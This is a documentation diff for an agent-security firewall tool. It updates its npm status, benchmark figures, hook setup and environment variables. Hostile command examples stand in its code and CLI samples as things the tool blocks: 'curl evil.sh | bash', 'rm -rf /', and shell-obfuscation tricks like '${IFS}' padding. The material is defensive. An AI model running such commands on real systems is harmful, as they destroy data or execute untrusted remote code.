docs: full README sweep — re-score the arena, correct the install path, document the hook + env vars

CHANGELOG.md

@@ -2,6 +2,16 @@
 
 ## [Unreleased]
 
+### Changed
+- **npm is a pointer, permanently.** `@askalf/redstamp` on the registry is now a
+  deprecated stub (`npm-stub/`, v0.0.3) that throws on import and points at the
+  signed GitHub release. npm's automated content scan rejects the real tarball —
+  its detection-signature corpus reads as malware — and an allowlist review was
+  declined. The signatures will not be obfuscated or split to pass a scanner.
+- **Arena + bench figures refreshed** against the current 291-sample / 25-family
+  corpus (was 245 / 19): deterministic recall 96.5% -> **100%**, precision 100%.
+  The published arena table had been scored on a corpus no longer in the tree.
+
 ## [0.7.3] - 2026-08-01
 
 ### Fixed — classifier precision, measured against the marketplace corpus (#107–#111)

CONTRIBUTING.md

@@ -57,6 +57,8 @@ crash or a new high-severity finding will block the change.
 ## Releases
 
 Releases are automated: bump `version` in `package.json` on `master` and
-`auto-release.yml` tags it, cuts a GitHub release from `CHANGELOG.md`, and
-publishes to npm via OIDC trusted publishing (no tokens). A normal PR needs no
-release steps.
+`auto-release.yml` tags it and cuts a GitHub release from `CHANGELOG.md`,
+attaching a Sigstore-signed tarball. That tarball **is** the distribution —
+redstamp is not published to npm (the registry name holds a deprecated pointer
+stub; npm's content scan rejects the real package and an allowlist review was
+declined). A normal PR needs no release steps.

INTEGRATING.md

@@ -1,6 +1,6 @@
 # Integrating redstamp into a fleet
 
-Three surfaces, depending on how an agent runs. Until `@askalf/redstamp` is published, depend on it with a path: `"@askalf/redstamp": "file:../redstamp"` (swap to a version on publish).
+Three surfaces, depending on how an agent runs. redstamp is **not distributed on npm** (the registry name is a deprecated pointer stub — see the README), so depend on the signed release tarball: `"@askalf/redstamp": "https://github.com/askalf/redstamp/releases/latest/download/redstamp.tgz"`, or on a local path (`file:../redstamp`) inside a monorepo.
 
 ## 1. Claude Code (operator sessions, hands in Claude-Login mode, dock) — DONE
 Register the PreToolUse hook in `~/.claude/settings.json` (a new group beside any existing hooks):

README.md

@@ -2,7 +2,7 @@
 
 > _redstamp — **own your agent security**. A guard between an agent and its tools. Part of **[Own Your Agent Security](https://github.com/askalf/agent-security-stack)** — own your AI infrastructure instead of renting it by the token._
 
-> _**Formerly `warden`.** Renamed to `redstamp` for the npm release; the GitHub repo redirects and the legacy `warden*` CLI aliases keep working. Env vars keep the `WARDEN_` prefix for compatibility._
+> _**Formerly `warden`.** The GitHub repo redirects and the legacy `warden*` CLI aliases keep working. Env vars keep the `WARDEN_` prefix for compatibility._
 
 [![release](https://img.shields.io/github/v/release/askalf/redstamp?logo=github)](https://github.com/askalf/redstamp/releases/latest)
 [![ci](https://github.com/askalf/redstamp/actions/workflows/ci.yml/badge.svg)](https://github.com/askalf/redstamp/actions/workflows/ci.yml)
@@ -30,17 +30,21 @@ It sits between an agent and its tools, and on every action it:
 
 Deterministic and offline by default (zero runtime deps). An optional **LLM judge tier** refines gray-zone calls — and it can only *raise* risk, never lower a block.
 
-Coverage is **measured, not assumed**: `npm run bench` scores a 245-sample labeled corpus across 19 attack families (RCE, destruction, exfil, SSRF, persistence, security-disabling, container escape, prompt-injection, argument-injection, …) and reports recall + false-positive rate. Today: **97% deterministic recall, 100% precision (zero false positives)**. The remaining ~3% is the *evasion bucket* — `X=rm; $X`, `${IFS}` padding, hex/base64-encoded payloads that a regex can't safely deobfuscate — which redstamp deterministically routes to the optional [LLM judge](#optional-llm-judge) instead of guessing. Three adversarial batteries (`bench/edgecases.mjs`, `bench/stress.mjs`, `bench/stress2.mjs`) and a ReDoS guard (`bench/redos.mjs` — every pattern under 1ms at the 16 KB input cap) keep it honest. Threat model: [SECURITY.md](SECURITY.md).
+Coverage is **measured, not assumed**: `npm run bench` scores a 291-sample labeled corpus across 25 attack families (RCE, destruction, device wipe, exfil, SSRF, persistence, privilege escalation, kernel modules, security-disabling, container escape, prompt-injection, parser differentials, …) and reports recall + false-positive rate. Today: **100% deterministic recall (165/165 malicious blocked), 100% precision (0/82 benign over-flagged)**. The residue is *under-gating*, not misses: 1 of 44 risky samples resolves to `allow` instead of a gate. Obfuscated payloads — `X=rm; $X`, `${IFS}` padding, hex/base64-encoded commands — are resolved deterministically rather than guessed at (obfuscation family: 5/5 blocked); genuinely ambiguous calls route to the optional [LLM judge](#optional-llm-judge). Three adversarial batteries (`bench/edgecases.mjs`, `bench/stress.mjs`, `bench/stress2.mjs`) and a ReDoS guard (`bench/redos.mjs` — 152 patterns × 14 adversarial inputs at a 16 KB cap, every one inside a 25 ms budget) keep it honest. Threat model: [SECURITY.md](SECURITY.md).
 
 ## Quick start
 
-> Not yet on npm — installs straight from the signed GitHub release:
+> **Not distributed on npm, and won't be.** `@askalf/redstamp` on the registry is a deprecated pointer stub that throws on import: npm's automated content scan reads redstamp's detection-signature corpus as malware and an allowlist review was declined. We won't obfuscate or split those signatures to pass a scanner — that's detection evasion, and it would destroy the plain-source auditability that makes a security tool worth trusting. **`npm i @askalf/redstamp` gets you the stub, not redstamp.**
+
+Install from the Sigstore-signed GitHub release instead — verify provenance first, then install globally so the `redstamp`, `redstamp-hook`, `redstamp-mcp`, and `redstamp-serve` CLIs land on your PATH:
 
 ```sh
-npm i https://github.com/askalf/redstamp/releases/latest/download/redstamp.tgz
+gh release download --repo askalf/redstamp --pattern 'redstamp.tgz*'
+gh attestation verify redstamp.tgz --owner askalf   # exits non-zero if it isn't ours
+npm i -g ./redstamp.tgz
 ```
 
-Or the one-line global install (puts the `redstamp` CLI on your PATH):
+Or the one-line global install (same signed artifact, verification handled for you):
 
 ```sh
 curl -fsSL https://ownyourstack.sprayberrylabs.com/redstamp.sh | sh
@@ -50,9 +54,9 @@ curl -fsSL https://ownyourstack.sprayberrylabs.com/redstamp.sh | sh
 powershell -c "irm https://ownyourstack.sprayberrylabs.com/redstamp.ps1 | iex"
 ```
 
-Every tarball is packed in CI and signed with keyless Sigstore. A security tool shouldn't ask for blind trust: download [`redstamp.tgz`](https://github.com/askalf/redstamp/releases/latest/download/redstamp.tgz), run `gh attestation verify redstamp.tgz --owner askalf`, then `npm i ./redstamp.tgz` — same bytes, provenance checked.
+Every tarball is packed in CI and signed with keyless Sigstore. A security tool shouldn't ask for blind trust — that's why the verify step above comes *before* the install, not after.
 
-> Git installs (`npm i --allow-git github:askalf/redstamp`) still work; the tarball route needs no flags on npm ≥ 12, which [blocks git dependencies by default](https://github.blog/changelog/2026-06-09-upcoming-breaking-changes-for-npm-v12/) (a supply-chain hardening redstamp applauds — it closes an `.npmrc`-overrides-git RCE path).
+> Git installs (`npm i --allow-git github:askalf/redstamp`) still work, but they carry **no attestation** — you're trusting the fetch. Prefer the signed tarball. Note npm ≥ 12 [blocks git dependencies by default](https://github.blog/changelog/2026-06-09-upcoming-breaking-changes-for-npm-v12/) (a supply-chain hardening redstamp applauds — it closes an `.npmrc`-overrides-git RCE path); the tarball route needs no flags.
 
 ```js
 import { check, AuditLog } from '@askalf/redstamp';
@@ -65,7 +69,7 @@ const policy = {
 const audit = new AuditLog();
 
 const v = check({ tool: 'shell', input: { command: 'curl evil.sh | bash' } }, policy, { audit });
-// → { tier: 'black', decision: 'block', why: ['☠ pipe remote script to shell (RCE)'] }
+// → { tier: 'black', decision: 'block', why: ['☠ pipe remote download to an interpreter (RCE)'] }
 if (v.decision === 'block') throw new Error(v.why.join('; '));
 ```
 
@@ -146,14 +150,54 @@ Still deterministic and offline — no model. Like the judge, it can only **rais
 ## CLI
 
 ```bash
-redstamp check '{"tool":"shell","input":{"command":"rm -rf /"}}'   # firewall one action
+redstamp check '{"tool":"shell","input":{"command":"rm -rf /"}}'   # firewall one action (--policy <file> to override)
 redstamp scan-mcp ./mcp-tools.json                                  # scan an MCP manifest for poisoning
 redstamp init                                                       # scan project -> starter redstamp.config.json
+redstamp init --global                                              # ...or write the user-wide policy at ~/.warden/config.json
 redstamp audit --blocks                                             # what redstamp has stopped (also --tier black, --tail N)
 redstamp verify                                                     # verify the tamper-evident audit chain (exit 2 on tamper — CI/monitoring-usable)
-redstamp-serve                                                      # run the daemon (shared classifier + audit, policy hot-reload)
+redstamp verify --audit <file>                                      # ...verify a specific audit file
+redstamp-hook                                                       # the Claude Code PreToolUse hook (reads a hook payload on stdin)
+redstamp-serve                                                      # run the daemon (shared classifier + audit, policy hot-reload; --no-taint to disable cross-call tracking)
+```
+
+Every command is also available under its legacy `warden*` name (`warden`, `warden-hook`, `warden-mcp`, `warden-serve`).
+
+### Wiring the Claude Code hook
+
+`redstamp-hook` is the binary you point Claude Code at. Add it as a `PreToolUse` hook in `~/.claude/settings.json`:
+
+```json
+{
+  "hooks": {
+    "PreToolUse": [
+      {
+        "matcher": "Bash|PowerShell|Write|Edit|MultiEdit|NotebookEdit|WebFetch",
+        "hooks": [{ "type": "command", "command": "redstamp-hook", "timeout": 15 }]
+      }
+    ]
+  }
+}
 ```
 
+A `block` verdict denies the call with the reason; with `strict: true` in your policy (or `WARDEN_STRICT=1`), red-tier calls additionally prompt instead of passing silently. The hook is **fail-open by construction** — a malformed payload or an internal error exits 0 rather than wedging your tooling.
+
+### Environment variables
+
+All keep the `WARDEN_` prefix for compatibility (see the rename note at the top).
+
+| var | what it does |
+|---|---|
+| `WARDEN_CONFIG` | override the policy file path |
+| `WARDEN_AUDIT` | override the audit-log path (`redstamp audit` / `verify` read it) |
+| `WARDEN_STRICT` | `1` → prompt on red-tier calls instead of deferring |
+| `WARDEN_READ_MS` | hook stdin read timeout |
+| `WARDEN_SOCKET` / `WARDEN_INFO` | daemon socket path / discovery file |
+| `WARDEN_TOKEN` | daemon capability token (normally minted for you into the `0600` discovery file) |
+| `WARDEN_NO_TAINT` | disable cross-call taint tracking in the daemon |
+| `WARDEN_JUDGE_ENDPOINT` / `WARDEN_JUDGE_KEY` / `WARDEN_JUDGE_MODEL` | judge tier endpoint, key, model (key falls back to `ANTHROPIC_API_KEY`) |
+| `WARDEN_FALLBACK_HOOK` / `WARDEN_NODE` | native fast hook: path to the Node fallback, and the node binary to run it with |
+
 > **Windows / Git Bash:** MSYS rewrites Unix-looking path arguments before `redstamp` (a native node process) sees them, so a bare `scan-mcp /srv/tools.json` or `--policy /etc/redstamp.config.json` can arrive mangled (e.g. prefixed with `C:/Program Files/Git/…`) and miss the file. A quoted JSON action (`redstamp check '{…}'`) is one arg starting with `{`, so it's safe — only path args are affected. Prefix with `MSYS_NO_PATHCONV=1` and use drive-letter paths (`C:/…`), or run from PowerShell/cmd.
 
 ## Daemon (optional)
@@ -162,7 +206,7 @@ redstamp-serve                                                      # run the da
 
 ## Native fast hook
 
-A node hook pays node's startup + module-load on every tool call (~78ms here). [`native/redstamp-fast`](native/README.md) is a tiny compiled client (Go, zero deps, single static binary) that just pipes the hook's stdin to the daemon over loopback and prints the verdict back — **4.3× faster, ~60ms saved per call**, with all logic still in the daemon. Build it, run `redstamp-serve`, and point your PreToolUse hook at the binary. **Fail-safe, not fail-open:** if the daemon is unreachable it falls back to the in-process Node hook — slower, but it still screens — and only fails open if that fallback is gone too, so it never blocks your tooling and never silently stops screening.
+A node hook pays node's startup + module-load on every tool call (~78ms here). [`native/warden-fast`](native/README.md) is a tiny compiled client (Go, zero deps, single static binary) that just pipes the hook's stdin to the daemon over loopback and prints the verdict back — **4.3× faster, ~60ms saved per call**, with all logic still in the daemon. Build it, run `redstamp-serve`, and point your PreToolUse hook at the binary. **Fail-safe, not fail-open:** if the daemon is unreachable it falls back to the in-process Node hook — slower, but it still screens — and only fails open if that fallback is gone too, so it never blocks your tooling and never silently stops screening.
 
 ## Demo
 
@@ -177,7 +221,7 @@ npm test       # node --test
 npm run arena
 ```
 
-[`arena/`](arena/) scores **any** agent firewall — not just redstamp — on the same 245-sample labeled corpus through one language-agnostic pipe, and reports **recall, precision, and determinism together** ([results](arena/RESULTS.md)). The `allow-all` / `block-all` anchor rows show why: block-all gets perfect recall by breaking all your real work, allow-all gets perfect precision by catching nothing — either number alone is meaningless. An adapter is any executable speaking JSONL in / verdicts out ([protocol](arena/protocol.md)); one ships for **LlamaFirewall**, and tools guarding a *different layer* (LLM I/O, network wire) are mapped by threat-model axes instead of force-ranked on a corpus they weren't built for. Honest caveat: the corpus is redstamp-authored, so redstamp scoring well on it is expected, not proof — neutrality is earned through outside corpus PRs and more adapters.
+[`arena/`](arena/) scores **any** agent firewall — not just redstamp — on the same 291-sample labeled corpus through one language-agnostic pipe, and reports **recall, precision, and determinism together** ([results](arena/RESULTS.md)). The `allow-all` / `block-all` anchor rows show why: block-all gets perfect recall by breaking all your real work, allow-all gets perfect precision by catching nothing — either number alone is meaningless. An adapter is any executable speaking JSONL in / verdicts out ([protocol](arena/protocol.md)); one ships for **LlamaFirewall**, and tools guarding a *different layer* (LLM I/O, network wire) are mapped by threat-model axes instead of force-ranked on a corpus they weren't built for. Honest caveat: the corpus is redstamp-authored, so redstamp scoring well on it is expected, not proof — neutrality is earned through outside corpus PRs and more adapters.
 
 ## The agent-security stack
 

SECURITY.md

@@ -60,4 +60,4 @@ Deterministically, per tool call:
 - **Authenticated daemon** — the shared daemon is reachable only with a capability token published into a `0600` file, so a local process can't abuse the judge tier (LLM calls) or pollute the audit. The token is compared in constant time. An unauthenticated caller is rejected and the hook falls back to its own in-process check (fail-safe).
 - **No ReDoS** — every detection pattern is bounded; `bench/redos.mjs` times them all against adversarial input at the 16 KB cap (worst case <1ms), so a crafted input can't stall the hook into a fail-open timeout. Continuously re-checked by fuzzing (`fuzz/`, ClusterFuzzLite).
 
-Coverage today: **245-sample labeled corpus across 19 attack families — 97% deterministic recall, 100% precision (0 false positives)** (`npm run bench`). The remaining ~3% is the evasion bucket (variable-indirection, `${IFS}`, encoded payloads) which redstamp routes to the optional LLM judge rather than guess. Three adversarial batteries (`bench/edgecases.mjs`, `bench/stress.mjs`, `bench/stress2.mjs`) exercise the boundaries.
+Coverage today: **291-sample labeled corpus across 25 attack families — 100% deterministic recall (165/165), 100% precision (0/82 false positives)** (`npm run bench`). The residue is under-gating rather than misses: 1 of 44 risky samples resolves to allow instead of a gate. Obfuscated payloads (variable-indirection, `${IFS}`, encoded commands) are resolved deterministically; genuinely ambiguous calls route to the optional LLM judge rather than being guessed at. Three adversarial batteries (`bench/edgecases.mjs`, `bench/stress.mjs`, `bench/stress2.mjs`) exercise the boundaries.

arena/EXTERNAL-CORPUS-RESULTS.md

@@ -6,13 +6,13 @@ Scored 7 firewall(s) through the same stdin/stdout pipe (see [protocol.md](proto
 
 | firewall | offline | deterministic | recall (block) | recall (+gate) | precision | under-gate | median µs |
 |---|---|---|---|---|---|---|---|
-| warden | yes | yes | 100.0% | 100.0% | **100%** | 1/8 | 55 |
+| warden | yes | yes | 100.0% | 100.0% | **100%** | 1/8 | 71 |
 | regex deny-list (baseline) | yes | yes | 30.6% | 30.6% | 95.8% | 8/8 | 2 |
 | allow-all (null) | yes | yes | 0.0% | 0.0% | **100%** | 8/8 | 0 |
 | block-all (paranoid) | yes | yes | 100.0% | 100.0% | 0.0% | 0/8 | 0 |
 | Pipelock (scan API) | yes | yes | 8.3% | 8.3% | 95.8% | 5/8 | 0 |
 | AEGIS (pre-execution check) | yes | yes | 0.0% | 55.6% | 95.8% | 5/8 | 1000 |
-| mcp-firewall (inbound pipeline) | yes | yes | 8.3% | 100.0% | 95.8% | 0/8 | 33 |
+| mcp-firewall (inbound pipeline) | yes | yes | 8.3% | 100.0% | 95.8% | 0/8 | 34 |
 
 - **recall (block)** — malicious actions hard-blocked. **recall (+gate)** — blocked *or* escalated to a human.
 - **precision** — benign actions NOT blocked (100% = zero false positives). **under-gate** — risky actions silently allowed.